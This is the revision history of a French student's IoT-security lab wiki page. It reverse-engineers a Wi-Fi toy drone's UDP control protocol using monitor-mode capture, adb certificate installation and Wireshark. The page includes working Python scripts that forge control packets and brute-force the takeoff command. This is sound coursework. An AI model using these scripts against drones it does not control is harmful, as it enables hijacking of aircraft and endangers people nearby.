SE5 IdO sécurité des objets 2025/2026 b3 - Historique des versions

Handrian : /* Configuration VM */

2026-01-25T22:29:32Z

Configuration VM

← Version précédente		Version du 25 janvier 2026 à 22:29
Ligne 37 :		Ligne 37 :
	iface eth1 inet static		iface eth1 inet static

	address 172.16.11.0		address 172.16.11.1

	netmask 255.255.255.0		netmask 255.255.255.0

Handrian : /* Drone */

2026-01-25T22:24:33Z

Drone

← Version précédente		Version du 25 janvier 2026 à 22:24
Ligne 218 :		Ligne 218 :
	a2ensite site-se5.conf		a2ensite site-se5.conf
	service apache2 reload		service apache2 reload
	</syntaxhighlight>Pour ~~véridier~~ l'écoute du port 443<syntaxhighlight lang="c">		</syntaxhighlight>Pour vérifier l'écoute du port 443<syntaxhighlight lang="c">
	# ss -tulpn \| grep 443		# ss -tulpn \| grep 443
	tcp LISTEN 0 128 :443 :* users:(("apache2",pid=5394,fd=6),("apache2",pid=5393,fd=6),("apache2",pid=5390,fd=6))		tcp LISTEN 0 128 :443 :* users:(("apache2",pid=5394,fd=6),("apache2",pid=5393,fd=6),("apache2",pid=5390,fd=6))
Ligne 300 :		Ligne 300 :
	adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0		adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0
	adb reboot		adb reboot
	</syntaxhighlight>L'installation du certificat a été réalisée avec succès. Mais j'ai finalement laissé l'approche par machine virtuelle car le drone agit comme un point d'accès Wi-Fi donc privilégié l'analyse du trafic réel. J'ai utilisé mon téléphone pour envoyer les commandes de pilotage et l'ordinateur avec le Wipi et Wireshark pour intercepter et capturer les échanges de paquets entre le téléphone et le drone afin de repérer les octets de directions		</syntaxhighlight>L'installation du certificat a été réalisée avec succès. Mais j'ai finalement laissé l'approche par machine virtuelle car le drone agit comme un point d'accès Wi-Fi donc j'ai privilégié l'analyse du trafic réel. J'ai utilisé mon téléphone pour envoyer les commandes de pilotage et l'ordinateur avec le Wipi et Wireshark pour intercepter et capturer les échanges de paquets entre le téléphone et le drone afin de repérer les octets de directions

	== Drone ==		== Drone ==
	~~Utilisation~~ de la carte Wipi<syntaxhighlight lang="c">
			=== Interface de l'application du drone "RC UFO" ===
			[[Fichier:Drone.jpg\|centré\|vignette\|480x480px]]


			Pour passe en mode "Monitor" j'ai utilisé la carte Wipi, pour pouvoir capturer les paquets et intercepter la communication entre le drone et le téléphone<syntaxhighlight lang="c">
	airmon-ng start wlx40a5efd21166		airmon-ng start wlx40a5efd21166
	</syntaxhighlight><syntaxhighlight lang="c">		</syntaxhighlight><syntaxhighlight lang="c">
Ligne 392 :		Ligne 397 :
	client.sendto(cmd_stop, (IP_DRONE, PORT))		client.sendto(cmd_stop, (IP_DRONE, PORT))
	time.sleep(0.05)		time.sleep(0.05)
	</syntaxhighlight>Cette tentative n'a pas permis de faire décoller le drone. Cela ~~nous~~ a indiqué deux choses :		</syntaxhighlight>Cette tentative n'a pas permis de faire décoller le drone. Cela a indiqué deux choses :

	* le ~~drône~~ réagit bien aux envois de données		* le drone réagit bien aux envois de données

	* le calcul du Checksum était incorrect (le drone rejetait les paquets)		* le calcul du Checksum était incorrect (le drone rejetait les paquets)
	* le décollage nécessite peut-être un bouton pour pouvoir ~~decoller~~		* le décollage nécessite peut être un bouton pour pouvoir décoller

	==== Deuxième tentative ====		==== Deuxième tentative ====
	J'ai refait les captures de paquets sur wireshark en utilisant mon ~~télephone~~ :		J'ai refait les captures de paquets sur wireshark en utilisant mon téléphone :
	[[Fichier:Wireshark3.png\|néant\|vignette\|866x866px]]		[[Fichier:Wireshark3.png\|néant\|vignette\|866x866px]]
	En analysant une trame valide capturée via Wireshark quand le ~~drône~~ est en mouvement j'ai recalculé :		En analysant une trame valide capturée via Wireshark quand le drone est en mouvement j'ai recalculé :

	* Trame analysée : <code>03 66 80 82 7C 80 00 FE 99</code>		* Trame analysée : <code>03 66 80 82 7C 80 00 FE 99</code>
Ligne 410 :		Ligne 415 :

	===== Recherche du code de démarrage =====		===== Recherche du code de démarrage =====
	Comme je n'ai pas d'~~informaton~~ sur le code héxa qui correspond au bouton de ~~decollage~~. ~~il faut~~ un script Python d'attaque en force brute pour tester tous les boutons :<syntaxhighlight lang="py">		Comme je n'ai pas d'information sur le code héxa qui correspond au bouton de décollage. J'ai écris un script Python d'attaque en force brute pour tester tous les boutons :<syntaxhighlight lang="py">
	def envoyer_paquet(bouton_valeur):		def envoyer_paquet(bouton_valeur):
	# Trame : Header + 4 axes neutres + bouton + checksum + footer		# Trame : Header + 4 axes neutres + bouton + checksum + footer
Ligne 449 :		Ligne 454 :

	print("\nTest terminé.")		print("\nTest terminé.")
	</syntaxhighlight>Lors de l'exécution du script le drone réagi immédiatement lorsque le script a testé la valeur '''0x01''' Donc, c'est surement le bouton de ~~decollage~~		</syntaxhighlight>Lors de l'exécution du script le drone réagi immédiatement lorsque le script a testé la valeur '''0x01''' Donc, c'est surement le bouton de décollage

	===== Script de control et observation sur Wireshark =====		===== Script de control et observation sur Wireshark =====
Ligne 497 :		Ligne 502 :
	finally:		finally:
	client.close()		client.close()
	</syntaxhighlight>Lors du lancement du script (2 secondes de décollage) sur wireshark :		</syntaxhighlight>Lors du lancement du script (2 secondes de décollage) sur wireshark, le drone réagit enfin au script envoyé
	[[Fichier:14.png\|néant\|vignette\|651x651px]]		[[Fichier:14.png\|néant\|vignette\|651x651px]]

Handrian : /* Recherche du code de démarrage */

2026-01-13T17:20:45Z

Recherche du code de démarrage

← Version précédente		Version du 13 janvier 2026 à 17:20
Ligne 450 :		Ligne 450 :
	print("\nTest terminé.")		print("\nTest terminé.")
	</syntaxhighlight>Lors de l'exécution du script le drone réagi immédiatement lorsque le script a testé la valeur '''0x01''' Donc, c'est surement le bouton de decollage		</syntaxhighlight>Lors de l'exécution du script le drone réagi immédiatement lorsque le script a testé la valeur '''0x01''' Donc, c'est surement le bouton de decollage

			===== Script de control et observation sur Wireshark =====
			<syntaxhighlight lang="py">
			import socket
			import time

			IP_DRONE = "192.168.1.1"
			PORT = 7099
			MON_IP = "192.168.1.101"

			code_decollage = 0x01

			client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
			client.bind((MON_IP, 0))

			def commande(bouton):
			header = [0x03, 0x66]
			data = [0x80, 0x80, 0x80, 0x80, bouton]
			checksum = 0
			for b in data:
			checksum = checksum ^ b
			return bytes(header + data + [checksum] + [0x99])


			try:
			print(f"Lancement {hex(code_decollage)}")

			print("Connexion (Neutre)...")
			for _ in range(20):
			client.sendto(commande(0x00), (IP_DRONE, PORT))
			time.sleep(0.05)

			print("Decollage")
			t_fin = time.time() + 2
			while time.time() < t_fin:
			client.sendto(commande(code_decollage), (IP_DRONE, PORT))
			time.sleep(0.05)

			print("Stop")
			for _ in range(30):
			client.sendto(commande(code_decollage), (IP_DRONE, PORT))
			time.sleep(0.05)

			except KeyboardInterrupt:
			print("Arrêt urgence")
			finally:
			client.close()
			</syntaxhighlight>Lors du lancement du script (2 secondes de décollage) sur wireshark :
			[[Fichier:14.png\|néant\|vignette\|651x651px]]

Handrian : /* Deuxième tentative */

2026-01-13T17:16:35Z

Deuxième tentative

@@ Ligne 355 : / Ligne 355 : @@
 Pour le script de contrôle j'ai tenté de reproduire une commande de décollage :
-J'ai supposé un calcul par soustraction  par rapport à la valeur neutre.<syntaxhighlight lang="c">
+J'ai supposé un calcul par soustraction  par rapport à la valeur neutre.<syntaxhighlight lang="py">
 # SOCK_DGRAM = Protocole UDP
 client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
@@ Ligne 400 : / Ligne 400 : @@
 ==== Deuxième tentative ====
-J'ai refait les captures de paquets sur wireshark :
+J'ai refait les captures de paquets sur wireshark  en utilisant mon télephone :
-[[Fichier:Wireshark2.png|néant|vignette|999x999px]]
+[[Fichier:Wireshark3.png|néant|vignette|866x866px]]

Handrian : /* Connexion Zabeth-Drone */

2026-01-13T17:04:18Z

Connexion Zabeth-Drone

← Version précédente		Version du 13 janvier 2026 à 17:04
Ligne 401 :		Ligne 401 :
	==== Deuxième tentative ====		==== Deuxième tentative ====
	J'ai refait les captures de paquets sur wireshark :		J'ai refait les captures de paquets sur wireshark :
	[[Fichier:Wireshark2.png\|néant\|vignette\|~~869x869px~~]]		[[Fichier:Wireshark2.png\|néant\|vignette\|999x999px]]

Handrian : /* Deuxième tentative */

2026-01-13T17:01:47Z

Deuxième tentative

← Version précédente		Version du 13 janvier 2026 à 17:01
Ligne 400 :		Ligne 400 :

	==== Deuxième tentative ====		==== Deuxième tentative ====
			J'ai refait les captures de paquets sur wireshark :
			[[Fichier:Wireshark2.png\|néant\|vignette\|869x869px]]

Handrian : /* Première tentative */

2026-01-13T16:55:17Z

Première tentative

← Version précédente		Version du 13 janvier 2026 à 16:55
Ligne 351 :		Ligne 351 :

	==== Première tentative ====		==== Première tentative ====
	~~Avec la capture de paquets~~ sur ~~wireshark~~ la ~~première tentative est de repérer~~ les ~~trames~~ de ~~commandes et d'après l'image au dessus~~ j'ai ~~fais ce script python pour pouvoir essayer~~ de ~~controler le drone en faisant~~ une soustraction ~~pour le Cheksum~~<syntaxhighlight lang="c">		À partir des captures Wireshark (voir Figure ci-dessus), j'ai isolé les trames UDP envoyées sur le port 7099. J'ai identifié la structure du paquet (Header <code>03 66</code>, Footer <code>99</code>) et les octets correspondant aux axes du joystick

			Pour le script de contrôle j'ai tenté de reproduire une commande de décollage :

			J'ai supposé un calcul par soustraction par rapport à la valeur neutre.<syntaxhighlight lang="c">
	# SOCK_DGRAM = Protocole UDP		# SOCK_DGRAM = Protocole UDP
	client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)		client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
Ligne 388 :		Ligne 392 :
	client.sendto(cmd_stop, (IP_DRONE, PORT))		client.sendto(cmd_stop, (IP_DRONE, PORT))
	time.sleep(0.05)		time.sleep(0.05)
	</syntaxhighlight>		</syntaxhighlight>Cette tentative n'a pas permis de faire décoller le drone. Cela nous a indiqué deux choses :

			* le drône réagit bien aux envois de données

			* le calcul du Checksum était incorrect (le drone rejetait les paquets)
			* le décollage nécessite peut-être un bouton pour pouvoir decoller

			==== Deuxième tentative ====

Handrian : /* Connexion Zabeth-Drone */

2026-01-13T16:45:12Z

Connexion Zabeth-Drone

← Version précédente		Version du 13 janvier 2026 à 16:45
Ligne 346 :		Ligne 346 :
	64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms		64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms

			</syntaxhighlight>

			=== Tentatives de control du drône ===

			==== Première tentative ====
			Avec la capture de paquets sur wireshark la première tentative est de repérer les trames de commandes et d'après l'image au dessus j'ai fais ce script python pour pouvoir essayer de controler le drone en faisant une soustraction pour le Cheksum<syntaxhighlight lang="c">
			# SOCK_DGRAM = Protocole UDP
			client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

			# STOP
			# Tout est à 80 Checksum à 00
			# Code : 03 66 80 80 80 80 00 00 99
			cmd_stop = bytes.fromhex("036680808080000099")

			# decoller
			# 03 66 : Header
			# 80 : Joystick Gauche
			# C0 : Joystick Gauche
			# 80 : Joystick Droit (Avancer)
			# 80 : Joystick Droit
			# 00 : Boutons
			# 40 : Checksum (C0 - 80 = 40)
			# 99 : Fin
			cmd_decollage = bytes.fromhex("036680c08080004099")

			# atterissage
			cmd_baisse = bytes.fromhex("036680008080008099") # Coupe tout brutalement

			try:
			print("\ndemarage")

			print("decollage")
			t_end = time.time() + 3
			while time.time() < t_end:
			client.sendto(cmd_decollage, (IP_DRONE, PORT))
			time.sleep(0.05) # 20fois/s

			# arret
			print("stop")
			for i in range(20):
			client.sendto(cmd_stop, (IP_DRONE, PORT))
			time.sleep(0.05)
	</syntaxhighlight>		</syntaxhighlight>

Handrian : /* Résolutions */

2026-01-13T14:33:24Z

Résolutions

← Version précédente		Version du 13 janvier 2026 à 14:33
Ligne 272 :		Ligne 272 :

	== Mise en place du certificat ==		== Mise en place du certificat ==


	Première tentative avec les commandes suivantes :<syntaxhighlight lang="c">		Première tentative avec les commandes suivantes :<syntaxhighlight lang="c">
	adb root		adb root
Ligne 302 :		Ligne 300 :
	adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0		adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0
	adb reboot		adb reboot
	</syntaxhighlight>		</syntaxhighlight>L'installation du certificat a été réalisée avec succès. Mais j'ai finalement laissé l'approche par machine virtuelle car le drone agit comme un point d'accès Wi-Fi donc privilégié l'analyse du trafic réel. J'ai utilisé mon téléphone pour envoyer les commandes de pilotage et l'ordinateur avec le Wipi et Wireshark pour intercepter et capturer les échanges de paquets entre le téléphone et le drone afin de repérer les octets de directions

	== Drone ==		== Drone ==

Handrian : /* Drone */

2026-01-13T14:18:15Z

Drone

← Version précédente		Version du 13 janvier 2026 à 14:18
Ligne 322 :		Ligne 322 :
	[[Fichier:Wireshark.png\|vignette\|869x869px\|néant]]Avec le filtre <code>wlan.addr == 40:07:76:C0:20:23 && wlan.fc.type == 2 && udp.port == 7099</code> Il y a le flux unidirectionnel émis par le smartphone (<code>192.168.1.100</code>) vers le drone (<code>192.168.1.1</code>). Les paquets capturés d'une longueur de 9 octets correspondent aux instructions de vol envoyées.		[[Fichier:Wireshark.png\|vignette\|869x869px\|néant]]Avec le filtre <code>wlan.addr == 40:07:76:C0:20:23 && wlan.fc.type == 2 && udp.port == 7099</code> Il y a le flux unidirectionnel émis par le smartphone (<code>192.168.1.100</code>) vers le drone (<code>192.168.1.1</code>). Les paquets capturés d'une longueur de 9 octets correspondent aux instructions de vol envoyées.

	Sur la trame sélectionnée (<code>03 66 80 80 ba 80 00 3a 99</code>) on peut identifier l'en-tête fixe (<code>03 66</code>), les axes au neutre (<code>0x80</code>), et la modification du 4 ème octet (<code>0xC0</code>) qui correspond l'instruction '''<nowiki/>'décoller''''		Sur la trame sélectionnée (<code>03 66 80 80 ba 80 00 3a 99</code>) on peut identifier l'en-tête fixe (<code>03 66</code>), les axes au neutre (<code>0x80</code>), et la modification du '''4 ème octet''' (<code>0xC0</code>) qui correspond l'instruction '''<nowiki/>'décoller''''

	=== Connexion Zabeth-Drone ===		=== Connexion Zabeth-Drone ===

SE5 IdO sécurité des objets 2025/2026 b3 - Historique des versions

Handrian : /* Configuration VM */

Handrian : /* Drone */

Handrian : /* Recherche du code de démarrage */

Handrian : /* Deuxième tentative */

Handrian : /* Connexion Zabeth-Drone */

Handrian : /* Deuxième tentative */

Handrian : /* Première tentative */

Handrian : /* Connexion Zabeth-Drone */

Handrian : /* Résolutions */

Handrian : /* Drone */

Handrian : /* Configuration VM */

Handrian : /* Drone */

Handrian : /* Recherche du code de démarrage */

Handrian : /* Deuxième tentative */

Handrian : /* Connexion Zabeth-Drone */

Handrian : /* Deuxième tentative */

Handrian : /* Première tentative */

Handrian : /* Connexion Zabeth-Drone */

Handrian : /* Résolutions */

Handrian : /* Drone */